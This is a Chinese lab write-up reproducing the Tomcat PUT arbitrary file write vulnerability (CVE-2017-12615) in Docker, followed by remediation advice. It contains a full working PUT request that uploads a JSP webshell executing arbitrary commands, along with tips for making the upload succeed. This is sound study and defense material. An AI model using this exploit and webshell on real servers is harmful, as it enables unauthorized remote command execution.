漏洞复现-Tomcat PUT 方法任意写文件漏洞(CVE-2017-12615)详细步骤**
CVE-2017-12615 漏洞的核心问题在于 Tomcat 的默认配置或管理员的自定义配置存在安全隐患,具体表现为允许通过 HTTP 的 PUT 方法直接上传文件,且未对上传路径和内容进行充分验证。以下是关键配置问题的详细分析:
1. 漏洞利用条件
- 目标环境:
- Tomcat 版本在 7.0.0 - 7.0.81 之间。
- 配置了
readonly=false的DefaultServlet(默认情况下,conf/web.xml中DefaultServlet的readonly属性为true,但可能被管理员修改)。 - 目标目录(如
/WEB-INF/或/)可写。
- 攻击者权限:
- 无需认证(如果目标未启用认证)。
- 需知道目标 Web 应用的上下文路径(如
/,/examples或 自定义的/myupload,)。 测试发现manager目录是无法成功PUT webshell的
2. 漏洞复现
环境搭建使用docker,vulhub
运行临时容器,为使用数据卷做准备
docker run -it --rm -p 8080:8080 --ulimit nofile=65535:65535 cve-2017-12615-tomcat:latest

进入容器,查找需要创建数据卷的目录

创建正式实验容器,使用数据卷
docker run --name mytomcat -v Mytomcat:/usr/local/tomcat -p 8080:8080 --ulimit nofile=65535:65535 -d 1ec3155d2f2a
docker会帮我们自动创建数据卷Mytomcat
查看数据卷列表
docker volume ls
查看数据卷Mytomcat的具体位置,和内容
docker volume inspect Mytomcat
cd /var/lib/docker/volumes/Mytomcat/_data 可看到容器内的内容,并进行同步修改

查看漏洞需要的配置
web.xml 允许 PUT 方法
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value> <!-- 允许写入 -->
</init-param>
</servlet>

- 构造 PUT 请求:
使用或 Burp Suite 发送 PUT 请求,上传 JSP WebShell。
PUT /8.jsp/ HTTP/1.1
Host: 192.168.253.138:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 301
shell
<%@ page import="java.util.*,java.io.*"%>
<%
out.print("WebShell Running...");
String cmd = request.getParameter("cmd");
if (cmd != null) {
out.print("<pre>" + new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next() + "</pre>");
}
%>
注意,测试时先抓一个tomcat本身的包,再粘贴上面的请求,不然bp自动会转换http版本,就失败了
先刷新这个页面抓一下包、再粘贴PUT数据包
并且路径最后需要有/
成功上传 PUT /11.jsp/
失败 PUT /11.jsp





服务器看到webshell

examples目录可访问,也可以将webshell 2.jsp到该目录


服务器看到webshell

wireshark抓包流量情况


statistics->HTTP->Packet Counter

3. 漏洞修复建议
- 升级 Tomcat:
- 升级到 Tomcat 7.0.82 或更高版本。
- 修改
DefaultServlet配置:- 在
conf/web.xml中将DefaultServlet的readonly属性设置为true:<servlet> <servlet-name>default</servlet-name> <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class> <init-param> <param-name>readonly</param-name> <param-value>true</param-value> <!-- 确保为 true --> </init-param> </servlet>
- 在
- 限制 PUT/MOVE 方法:
- 在防火墙或 Web 应用防火墙(WAF)中限制对 PUT/MOVE 方法的访问。
- 禁用目录列表:
- 确保
listings属性为false:<init-param> <param-name>listings</param-name> <param-value>false</param-value> </init-param>
- 确保
若 listings=true,攻击者上传文件后,可通过目录列表查看文件是否存在,协助判断是否上传成功
4. 总结
- 漏洞利用流程:
- 确认目标版本和
readonly配置。 - 通过 PUT 方法上传 JSP WebShell。
- 访问 WebShell 并执行命令。
- 确认目标版本和
- 修复建议:
- 升级 Tomcat 或修改配置。
- 限制 PUT/MOVE 方法访问。
- 注意事项:
- 漏洞利用需目标配置允许 PUT 请求(
readonly=false)。 - 实际攻击中可能需结合其他漏洞(如信息泄露)获取目标信息。
- 漏洞利用需目标配置允许 PUT 请求(
通过以上步骤,可以完整复现 CVE-2017-12615 漏洞的利用过程,并采取相应措施进行修复。
补充
当 Tomcat 的 DefaultServlet 配置中 listings=true 时,若用户访问的目录下没有默认文件(如 index.html),Tomcat 会返回该目录下的所有文件列表。
listings为false时的效果
listings
false


listings为true时的效果
listings
true

1658

被折叠的 条评论
为什么被折叠?



